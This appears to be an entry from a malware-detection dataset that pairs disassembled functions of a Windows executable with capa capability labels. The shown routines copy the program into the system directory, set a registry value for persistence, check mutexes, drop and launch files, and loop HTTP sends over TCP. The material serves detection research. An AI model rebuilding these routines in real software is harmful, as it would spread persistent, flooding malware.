joyce8/EMBER2024-capa huggingface dataset:
Function at 0x427770
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
push 0
push 0
push ebx
push esi
push edi
xor eax, eax
push ebp
push 0x42780f
push dword fs:[eax]
mov dword fs:[eax], esp
xor eax, eax
push ebp
push 0x4277ea
push dword fs:[eax]
mov dword fs:[eax], esp
lea edx, [ebp - 4]
mov eax, dword [0x42c9a4]
call fcn.00423f84
cmp dword [ebp - 4], 0
je 0x4277e0
push 0
push 0x427820
push 0x427820
mov eax, dword [ebp - 4]
call fcn.00404970
push eax
push 0x427824
push 0
call sub.shell32.dll_ShellExecuteA
cmp byte [0x42b810], 0
je 0x4277e0
lea edx, [ebp - 8]
mov eax, 0x427834
call fcn.004249d0
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x4277f4
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x427816
lea eax, [ebp - 8]
mov edx, 2
call fcn.004044f8
ret

Function at 0x428808
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffc0
push ebx
push esi
push edi
xor edx, edx
mov dword [ebp - 0x40], edx
mov dword [ebp - 0x3c], edx
mov dword [ebp - 4], edx
mov esi, eax
lea edi, [ebp - 0x38]
mov ecx, 0xc
rep movsd dword es:[edi], dword [esi]
lea eax, [ebp - 0x38]
mov edx, dword [0x4245f0]
call fcn.004050b0
xor eax, eax
push ebp
push 0x428901
push dword fs:[eax]
mov dword fs:[eax], esp
xor eax, eax
push ebp
push 0x4288c6
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 4]
push eax
lea ecx, [ebp - 0x3c]
mov eax, dword [0x42ba2c]
mov eax, dword [eax]
mov edx, 0x428918
call fcn.0041aef0
mov eax, dword [ebp - 0x3c]
mov ecx, 0x428934
mov edx, 0x428944
call fcn.00427be8
cmp dword [ebp - 4], 0
je 0x4288bc
push 1
push 0
mov eax, dword [ebp - 0x20]
call fcn.00404970
push eax
mov eax, dword [ebp - 4]
call fcn.00404970
push eax
push 0
push 0
call sub.shell32.dll_ShellExecuteA
lea eax, [ebp - 0x40]
mov ecx, dword [ebp - 0x20]
mov edx, 0x428954
call fcn.004047bc
mov eax, dword [ebp - 0x40]
lea edx, [ebp - 4]
call fcn.004249d0
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x4288d0
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x428908
lea eax, [ebp - 0x40]
mov edx, 2
call fcn.004044f8
lea eax, [ebp - 0x38]
mov edx, dword [0x4245f0]
call fcn.00404f6c
lea eax, [ebp - 4]
call fcn.004044d4
ret
Function at 0x4017e6
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x428
mov dword [esp], 0x400
call fcn.0040b5b0
mov dword [ebp - 0x40c], eax
lea eax, [ebp - 0x408]
mov dword [esp + 4], eax
mov dword [esp], 0x400
mov eax, dword [sym.imp.KERNEL32.DLL_GetTempPathA]
call eax
sub esp, 8
mov eax, dword [ebp - 0x40c]
mov dword [esp + 0xc], eax
mov dword [esp + 8], 0x4d2
mov eax, dword [0x43d040]
mov dword [esp + 4], eax
lea eax, [ebp - 0x408]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.DLL_GetTempFileNameA]
call eax
sub esp, 0x10
mov eax, dword [ebp - 0x40c]
leave
ret
Function at 0x401be6
Capabilities:
Copy file

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
sub esp, 0x16c
mov dword [ebp - 0x13c], 0x40a0a0
mov dword [ebp - 0x138], 0x43bb52
lea eax, [ebp - 0x134]
lea edx, [ebp - 0x18]
mov dword [eax], edx
mov edx, 0x401e2a
mov dword [eax + 4], edx
mov dword [eax + 8], esp
lea eax, [ebp - 0x154]
mov dword [esp], eax
call fcn.004158b0
mov dword [ebp - 0x150], 0xffffffff
call fcn.004017e6
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp + 0xc]
mov dword [esp], eax
call fcn.00401608
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 8]
mov dword [esp], eax
call fcn.00401608
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 0
jne 0x401c6d
mov dword [ebp - 0x158], 0
jmp 0x401e81
cmp dword [ebp - 0x20], 0
jne 0x401c82
mov dword [ebp - 0x158], 0
jmp 0x401e81
mov eax, dword [ebp + 0xc]
mov dword [esp], eax
mov dword [ebp - 0x150], 0xffffffff
call fcn.00401a1e
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], 0
je 0x401caf
mov dword [ebp - 0x158], 0
jmp 0x401e81
mov dword [esp + 8], 4
mov eax, dword [ebp - 0x1c]
mov dword [esp + 4], eax
lea eax, [ebp - 0x128]
mov dword [esp], eax
mov dword [ebp - 0x150], 0xffffffff
call fcn.00434790
lea eax, [ebp - 0x128]
add eax, 0x6c
mov dword [esp], eax
mov dword [ebp - 0x150], 1
call fcn.00424c30
test al, al
je 0x401d1c
lea eax, [ebp - 0x128]
mov dword [esp], eax
mov dword [ebp - 0x150], 0xffffffff
call fcn.00434df0
mov dword [ebp - 0x158], 0
jmp 0x401e81
mov eax, dword [ebp + 8]
mov dword [esp], eax
mov dword [ebp - 0x150], 1
call fcn.004015dc
mov dword [esp + 8], eax
mov eax, dword [ebp - 0x24]
mov dword [esp + 4], eax
lea eax, [ebp - 0x128]
mov dword [esp], eax
call fcn.0042b210
mov eax, dword [ebp + 0xc]
mov dword [esp], eax
call fcn.004015dc
mov dword [esp + 8], eax
mov eax, dword [ebp - 0x20]
mov dword [esp + 4], eax
lea eax, [ebp - 0x128]
mov dword [esp], eax
call fcn.0042b210
mov eax, dword [ebp + 0xc]
mov dword [esp], eax
call fcn.004015dc
mov dword [0x440010], eax
mov eax, dword [0x43d044]
mov dword [esp + 4], eax
mov dword [esp], 0x440014
call sub.msvcrt.dll_strcpy
mov dword [esp + 8], 8
mov dword [esp + 4], 0x440010
lea eax, [ebp - 0x128]
mov dword [esp], eax
call fcn.0042b210
lea eax, [ebp - 0x128]
mov dword [esp], eax
call fcn.004346b0
mov dword [esp + 8], 0
mov eax, dword [ebp + 0xc]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x1c]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.DLL_CopyFileA]
call eax
sub esp, 0xc
test eax, eax
jne 0x401e06
lea eax, [ebp - 0x128]
mov dword [esp], eax
mov dword [ebp - 0x150], 0xffffffff
call fcn.00434df0
mov dword [ebp - 0x158], 0
jmp 0x401e81
lea eax, [ebp - 0x128]
mov dword [esp], eax
mov dword [ebp - 0x150], 0xffffffff
call fcn.00434df0
mov dword [ebp - 0x158], 1
jmp 0x401e81
lea eax, [ebp - 0x154]
mov dword [esp], eax
call fcn.00415960
mov eax, dword [ebp - 0x158]
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
ret
Function at 0x401e9e
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
sub esp, 0x27c
mov dword [ebp - 0x24c], 0x40a0a0
mov dword [ebp - 0x248], 0x43bb58
lea eax, [ebp - 0x244]
lea edx, [ebp - 0x18]
mov dword [eax], edx
mov edx, 0x402095
mov dword [eax + 4], edx
mov dword [eax + 8], esp
lea eax, [ebp - 0x264]
mov dword [esp], eax
call fcn.004158b0
mov dword [ebp - 0x260], 0xffffffff
call fcn.0040158e
mov dword [esp + 8], 4
mov dword [esp + 4], eax
lea eax, [ebp - 0x118]
mov dword [esp], eax
call fcn.00433dd0
mov dword [ebp - 0x260], 2
call fcn.0040158e
mov dword [esp], eax
call fcn.004015dc
sub eax, 8
mov dword [esp + 8], 0
mov dword [esp + 4], eax
lea eax, [ebp - 0x120]
mov dword [esp], eax
call fcn.00437a10
mov eax, dword [ebp - 0x120]
mov edx, dword [ebp - 0x11c]
mov dword [esp + 4], eax
mov dword [esp + 8], edx
lea eax, [ebp - 0x118]
mov dword [esp], eax
call fcn.00428680
mov dword [esp], 8
call fcn.0040b710
mov dword [ebp - 0x124], eax
mov dword [esp + 8], 8
mov eax, dword [ebp - 0x124]
mov dword [esp + 4], eax
lea eax, [ebp - 0x118]
mov dword [esp], eax
call fcn.004283e0
mov eax, dword [ebp - 0x124]
mov eax, dword [eax]
mov dword [esp], eax
call fcn.0040b5b0
mov dword [ebp - 0x128], eax
call fcn.0040158e
mov dword [esp], eax
call fcn.004015dc
mov edx, eax
mov eax, dword [ebp - 0x124]
sub edx, dword [eax]
mov eax, edx
sub eax, 8
mov dword [esp + 8], 0
mov dword [esp + 4], eax
lea eax, [ebp - 0x118]
mov dword [esp], eax
call fcn.00428700
mov eax, dword [ebp - 0x124]
mov eax, dword [eax]
mov dword [esp + 8], eax
mov eax, dword [ebp - 0x128]
mov dword [esp + 4], eax
lea eax, [ebp - 0x118]
mov dword [esp], eax
call fcn.004283e0
lea eax, [ebp - 0x118]
mov dword [esp], eax
call fcn.00433cf0
call fcn.004017e6
mov dword [ebp - 0x12c], eax
mov dword [esp + 8], 4
mov eax, dword [ebp - 0x12c]
mov dword [esp + 4], eax
lea eax, [ebp - 0x238]
mov dword [esp], eax
call fcn.00434790
mov eax, dword [ebp - 0x124]
mov eax, dword [eax]
mov dword [esp + 8], eax
mov eax, dword [ebp - 0x128]
mov dword [esp + 4], eax
lea eax, [ebp - 0x238]
mov dword [esp], eax
mov dword [ebp - 0x260], 1
call fcn.0042b210
lea eax, [ebp - 0x238]
mov dword [esp], eax
call fcn.004346b0
mov dword [esp + 4], 1
mov eax, dword [ebp - 0x12c]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.DLL_WinExec]
call eax
sub esp, 8
jmp 0x4020e1
lea eax, [ebp - 0x238]
mov dword [esp], eax
mov dword [ebp - 0x260], 2
call fcn.00434df0
jmp 0x402143
lea eax, [ebp - 0x118]
mov dword [esp], eax
mov dword [ebp - 0x260], 0xffffffff
call fcn.00434480
lea eax, [ebp - 0x264]
mov dword [esp], eax
call fcn.00415960
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
ret
Function at 0x4022be
Capabilities:
Enumerate files on windows
Enumerate files recursively

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x288
cmp dword [ebp + 0xc], 0
jle 0x4022d3
cmp dword [ebp + 8], 0
jne 0x4022e2
mov dword [ebp - 0x270], 1
jmp 0x4024e9
mov eax, dword [ebp + 8]
cmp byte [eax], 0
jne 0x4022f9
mov dword [ebp - 0x270], 1
jmp 0x4024e9
mov eax, dword [ebp + 8]
mov dword [esp + 4], eax
lea eax, [ebp - 0x128]
mov dword [esp], eax
call sub.msvcrt.dll_strcpy
lea eax, [ebp - 0x128]
mov dword [esp], eax
call sub.msvcrt.dll_strlen
cmp byte [ebp + eax - 0x129], 0x5c
je 0x40233c
mov dword [esp + 4], 0x4022b8
lea eax, [ebp - 0x128]
mov dword [esp], eax
call sub.msvcrt.dll_strcat
mov dword [esp + 4], 0x4022ba
lea eax, [ebp - 0x128]
mov dword [esp], eax
call sub.msvcrt.dll_strcat
mov dword [esp + 8], 0x140
mov dword [esp + 4], 0
lea eax, [ebp - 0x268]
mov dword [esp], eax
call sub.msvcrt.dll_memset
mov dword [ebp - 0x26c], 0
cmp dword [ebp - 0x26c], 0
jne 0x4023c7
lea eax, [ebp - 0x268]
mov dword [esp + 4], eax
lea eax, [ebp - 0x128]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.DLL_FindFirstFileA]
call eax
sub esp, 8
mov dword [ebp - 0x26c], eax
cmp dword [ebp - 0x26c], 0xffffffff
jne 0x4023b9
mov dword [ebp - 0x26c], 0
cmp dword [ebp - 0x26c], 0
jne 0x4023ed
jmp 0x4024c3
lea eax, [ebp - 0x268]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x26c]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.DLL_FindNextFileA]
call eax
sub esp, 8
test eax, eax
jne 0x4023ed
jmp 0x4024c3
cmp byte [ebp - 0x23c], 0x2e
jne 0x40241b
cmp byte [ebp - 0x23b], 0
jne 0x402404
jmp 0x40237a
cmp byte [ebp - 0x23b], 0x2e
jne 0x40241b
cmp byte [ebp - 0x23a], 0
jne 0x40241b
jmp 0x40237a
mov eax, dword [ebp + 8]
mov dword [esp + 4], eax
lea eax, [ebp - 0x128]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.DLL_lstrcpyA]
call eax
sub esp, 8
lea eax, [ebp - 0x128]
mov dword [esp], eax
call sub.msvcrt.dll_strlen
cmp byte [ebp + eax - 0x129], 0x5c
je 0x402463
mov dword [esp + 4], 0x4022b8
lea eax, [ebp - 0x128]
mov dword [esp], eax
call sub.msvcrt.dll_strcat
lea eax, [ebp - 0x268]
add eax, 0x2c
mov dword [esp + 4], eax
lea eax, [ebp - 0x128]
mov dword [esp], eax
call sub.msvcrt.dll_strcat
mov eax, dword [ebp - 0x268]
and eax, 0x10
test eax, eax
je 0x4024a6
mov eax, dword [ebp + 0xc]
dec eax
mov dword [esp + 4], eax
lea eax, [ebp - 0x128]
mov dword [esp], eax
call fcn.004022be
jmp 0x40237a
lea eax, [ebp - 0x268]
mov dword [esp + 4], eax
lea eax, [ebp - 0x128]
mov dword [esp], eax
call fcn.00402176
jmp 0x40237a
cmp dword [ebp - 0x26c], 0
je 0x4024df
mov eax, dword [ebp - 0x26c]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.DLL_FindClose]
call eax
sub esp, 4
mov dword [ebp - 0x270], 0
mov eax, dword [ebp - 0x270]
leave
ret
Function at 0x402f7a
Capabilities:
Get common file path
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x148
mov dword [esp + 4], 0x104
lea eax, [ebp - 0x118]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.DLL_GetSystemDirectoryA]
call eax
sub esp, 8
mov dword [esp + 4], 0x402d27
lea eax, [ebp - 0x118]
mov dword [esp], eax
call sub.msvcrt.dll_strcat
mov dword [ebp - 0x11c], 0x402d40
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], pe_nt_image_headers32
mov dword [esp + 0x10], 2
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0x40000000
lea eax, [ebp - 0x118]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.DLL_CreateFileA]
call eax
sub esp, 0x1c
mov dword [ebp - 0x124], eax
mov eax, dword [ebp - 0x11c]
mov dword [esp], eax
call sub.msvcrt.dll_strlen
mov edx, eax
mov dword [esp + 0x10], 0
lea eax, [ebp - 0x120]
mov dword [esp + 0xc], eax
mov dword [esp + 8], edx
mov eax, dword [ebp - 0x11c]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x124]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.DLL_WriteFile]
call eax
sub esp, 0x14
mov dword [ebp - 0x128], eax
mov eax, dword [ebp - 0x124]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.DLL_CloseHandle]
call eax
sub esp, 4
mov dword [esp + 4], 0x402f73
lea eax, [ebp - 0x118]
mov dword [esp], eax
call sub.msvcrt.dll_strcat
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], pe_nt_image_headers32
mov dword [esp + 0x10], 2
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0x40000000
lea eax, [ebp - 0x118]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.DLL_CreateFileA]
call eax
sub esp, 0x1c
mov dword [ebp - 0x124], eax
mov eax, dword [ebp - 0x11c]
mov dword [esp], eax
call sub.msvcrt.dll_strlen
mov edx, eax
mov dword [esp + 0x10], 0
lea eax, [ebp - 0x120]
mov dword [esp + 0xc], eax
mov dword [esp + 8], edx
mov eax, dword [ebp - 0x11c]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x124]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.DLL_WriteFile]
call eax
sub esp, 0x14
mov dword [ebp - 0x128], eax
mov eax, dword [ebp - 0x124]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.DLL_CloseHandle]
call eax
sub esp, 4
leave
ret
Function at 0x4031a0
Capabilities:
Copy file
Get common file path
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x3a8
mov dword [esp + 4], 0x104
lea eax, [ebp - 0x218]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.DLL_GetSystemDirectoryA]
call eax
sub esp, 8
mov dword [esp], 0
mov eax, dword [sym.imp.KERNEL32.DLL_GetModuleHandleA]
call eax
sub esp, 4
mov dword [ebp - 0x32c], eax
mov dword [esp + 8], 0x100
lea eax, [ebp - 0x108]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x32c]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.DLL_GetModuleFileNameA]
call eax
sub esp, 0xc
mov dword [ebp - 0x330], eax
mov dword [esp + 4], 0x403120
lea eax, [ebp - 0x218]
mov dword [esp], eax
call sub.msvcrt.dll_strcat
mov dword [esp + 8], 0
lea eax, [ebp - 0x218]
mov dword [esp + 4], eax
lea eax, [ebp - 0x108]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.DLL_CopyFileA]
call eax
sub esp, 0xc
lea eax, [ebp - 0x218]
mov dword [esp + 4], eax
lea eax, [ebp - 0x328]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.DLL_lstrcpyA]
call eax
sub esp, 8
mov dword [ebp - 0x37c], 0x3c
lea eax, [ebp - 0x328]
mov dword [esp + 4], eax
lea eax, [ebp - 0x378]
mov dword [esp], eax
call sub.msvcrt.dll_strcpy
lea eax, [ebp - 0x380]
mov dword [esp + 8], eax
mov dword [esp + 4], 0x403140
mov dword [esp], 0x80000002
call sub.ADVAPI32.DLL_RegCreateKeyA
sub esp, 0xc
lea eax, [ebp - 0x384]
mov dword [esp + 8], eax
mov dword [esp + 4], 0x40316b
mov eax, dword [ebp - 0x380]
mov dword [esp], eax
call sub.ADVAPI32.DLL_RegCreateKeyA
sub esp, 0xc
mov eax, dword [ebp - 0x37c]
mov dword [esp + 0x14], eax
lea eax, [ebp - 0x378]
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], 1
mov dword [esp + 8], 0
mov dword [esp + 4], 0x403180
mov eax, dword [ebp - 0x384]
mov dword [esp], eax
call sub.ADVAPI32.DLL_RegSetValueExA
sub esp, 0x18
mov eax, dword [ebp - 0x384]
mov dword [esp], eax
call sub.ADVAPI32.DLL_RegCloseKey
sub esp, 4
mov eax, dword [ebp - 0x380]
mov dword [esp], eax
call sub.ADVAPI32.DLL_RegCloseKey
sub esp, 4
leave
ret

Function at 0x403354
Capabilities:
Check mutex and terminate process on windows
Check mutex on windows
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov dword [esp + 8], 0x403325
mov dword [esp + 4], 1
mov dword [esp], 0
mov eax, dword [sym.imp.KERNEL32.DLL_CreateMutexA]
call eax
sub esp, 0xc
mov eax, dword [sym.imp.KERNEL32.DLL_GetLastError]
call eax
cmp eax, 0xb7
jne 0x403397
mov dword [esp], 0
mov eax, dword [sym.imp.KERNEL32.DLL_ExitProcess]
call eax
mov dword [esp + 8], 0x40333b
mov dword [esp + 4], 1
mov dword [esp], 0
mov eax, dword [sym.imp.KERNEL32.DLL_CreateMutexA]
call eax
sub esp, 0xc
mov eax, dword [sym.imp.KERNEL32.DLL_GetLastError]
call eax
cmp eax, 0xb7
jne 0x4033d4
mov dword [esp], 0
mov eax, dword [sym.imp.KERNEL32.DLL_ExitProcess]
call eax
mov eax, 0
leave
ret
Function at 0x403422
Capabilities:
Get common file path
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x158
mov dword [esp + 4], 0x104
lea eax, [ebp - 0x118]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.DLL_GetSystemDirectoryA]
call eax
sub esp, 8
mov dword [esp + 4], 0x4033db
lea eax, [ebp - 0x118]
mov dword [esp], eax
call sub.msvcrt.dll_strcat
mov dword [esp + 4], 0x4033e9
lea eax, [ebp - 0x118]
mov dword [esp], eax
call sub.msvcrt.dll_fopen
mov dword [ebp - 0x11c], eax
cmp dword [ebp - 0x11c], 0
jne 0x4034aa
mov dword [esp + 0xc], 0x10
mov dword [esp + 8], 0x4033ec
mov dword [esp + 4], 0x4033f8
mov dword [esp], 0
mov eax, dword [sym.imp.USER32.dll_MessageBoxA]
call eax
sub esp, 0x10
mov dword [ebp - 0x120], 0x403412
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], pe_nt_image_headers32
mov dword [esp + 0x10], 2
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0x40000000
lea eax, [ebp - 0x118]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.DLL_CreateFileA]
call eax
sub esp, 0x1c
mov dword [ebp - 0x128], eax
mov eax, dword [ebp - 0x120]
mov dword [esp], eax
call sub.msvcrt.dll_strlen
mov edx, eax
mov dword [esp + 0x10], 0
lea eax, [ebp - 0x124]
mov dword [esp + 0xc], eax
mov dword [esp + 8], edx
mov eax, dword [ebp - 0x120]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x128]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.DLL_WriteFile]
call eax
sub esp, 0x14
mov dword [ebp - 0x12c], eax
mov eax, dword [ebp - 0x128]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.DLL_CloseHandle]
call eax
sub esp, 4
leave
ret

Function at 0x4037c2
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
call fcn.00401852
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
je 0x4037db
call fcn.00401e9e
call fcn.0040370a
test eax, eax
je 0x40381c
lea eax, [ebp - 0x10]
mov dword [esp + 0x14], eax
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0x40250e
mov dword [esp + 4], 0
mov dword [esp], 0
mov eax, dword [sym.imp.KERNEL32.DLL_CreateThread]
call eax
sub esp, 0x18
call fcn.00405f76
call fcn.0040370a
test eax, eax
je 0x403862
lea eax, [ebp - 8]
mov dword [esp + 0x14], eax
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0x403b30
mov dword [esp + 4], 0
mov dword [esp], 0
mov eax, dword [sym.imp.KERNEL32.DLL_CreateThread]
call eax
sub esp, 0x18
call fcn.0040359c
call fcn.00403354
lea eax, [ebp - 0xc]
mov dword [esp + 0x14], eax
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0x40378c
mov dword [esp + 4], 0
mov dword [esp], 0
mov eax, dword [sym.imp.KERNEL32.DLL_CreateThread]
call eax
sub esp, 0x18
lea eax, [ebp - 4]
mov dword [esp + 0x14], eax
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0x409a20
mov dword [esp + 4], 0
mov dword [esp], 0
mov eax, dword [sym.imp.KERNEL32.DLL_CreateThread]
call eax
sub esp, 0x18
call fcn.00403422
call fcn.004028de
call fcn.004031a0
call fcn.00402f7a
call fcn.00405130
leave
ret
Function at 0x4038f8
Capabilities:
Initialize winsock library

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1a8
lea eax, [ebp - 0x198]
mov dword [esp + 4], eax
mov dword [esp], 2
call sub.WS2_32.DLL_WSAStartup
sub esp, 8
call fcn.004037c2
leave
ret 0x10

Function at 0x4039c8
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket
Send data
Send data on socket
Send http request
Send http request with host header

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov dword [esp + 8], 6
mov dword [esp + 4], 1
mov dword [esp], 2
call sub.WS2_32.DLL_socket
sub esp, 0xc
mov dword [ebp - 4], eax
mov dword [esp + 8], 0x10
mov eax, dword [ebp + 8]
mov dword [esp + 4], eax
mov eax, dword [ebp - 4]
mov dword [esp], eax
call sub.WS2_32.DLL_connect
sub esp, 0xc
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0x3e8
mov dword [esp + 4], 0x4039a0
mov eax, dword [ebp - 4]
mov dword [esp], eax
call sub.WS2_32.DLL_send
sub esp, 0x10
mov dword [esp], 0x6e
mov eax, dword [sym.imp.KERNEL32.DLL_Sleep]
call eax
sub esp, 4
jmp 0x403a0d

Function at 0x403a46
Capabilities:
Resolve dns

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sub.WS2_32.DLL_inet_addr
sub esp, 4
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0xffffffff
je 0x403a73
cmp dword [ebp - 4], 0
jne 0x403a97
mov eax, dword [ebp + 8]
cmp byte [eax], 0x30
jne 0x403a73
jmp 0x403a97
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sub.WS2_32.DLL_gethostbyname
sub esp, 4
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
je 0x403a97
mov eax, dword [ebp - 8]
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
mov eax, dword [eax]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0xffffffff
jne 0x403aa4
mov dword [ebp - 4], 0
mov eax, dword [ebp - 4]
leave
ret

Function at 0x403ab8
Capabilities:
Initialize winsock library

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1b8
lea eax, [ebp - 0x1a8]
mov dword [esp + 4], eax
mov dword [esp], 2
call sub.WS2_32.DLL_WSAStartup
sub esp, 8
mov dword [esp + 8], 0x10
mov dword [esp + 4], 0
lea eax, [ebp - 0x18]
mov dword [esp], eax
call sub.msvcrt.dll_memset
mov word [ebp - 0x18], 2
mov dword [esp], 0x403aa9
call fcn.00403a46
mov dword [ebp - 0x14], eax
mov dword [esp], 0x50
call sub.WS2_32.DLL_htons
sub esp, 4
mov word [ebp - 0x16], ax
lea eax, [ebp - 0x18]
mov dword [esp], eax
call fcn.004039c8
mov eax, 0
leave
ret

Function at 0x403bf0
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push esi
push ebx
sub esp, 0x20
xor ebx, ebx
mov eax, dword [0x43d050]
mov esi, dword [ebp + 8]
test eax, eax
je 0x403c2c
lea esi, [esi]
lea edi, [edi]
mov dword [esp + 4], eax
mov dword [esp], esi
call sub.msvcrt.dll_strstr
test eax, eax
jne 0x403c73
inc ebx
mov eax, dword [ebx*4 + 0x43d050]
test eax, eax
jne 0x403c10
mov dword [esp + 4], 0x2e
mov dword [esp], esi
call sub.msvcrt.dll_strchr
test eax, eax
je 0x403c73
mov dword [esp + 0x10], 0
lea eax, [ebp - 0xc]
mov dword [esp + 0x14], eax
mov dword [esp + 0xc], esi
mov dword [esp + 8], 0x408fdc
mov dword [esp + 4], 0
mov dword [esp], 0
call dword [sym.imp.KERNEL32.DLL_CreateThread]
sub esp, 0x18
lea esp, [ebp - 8]
pop ebx
pop esi
pop ebp
ret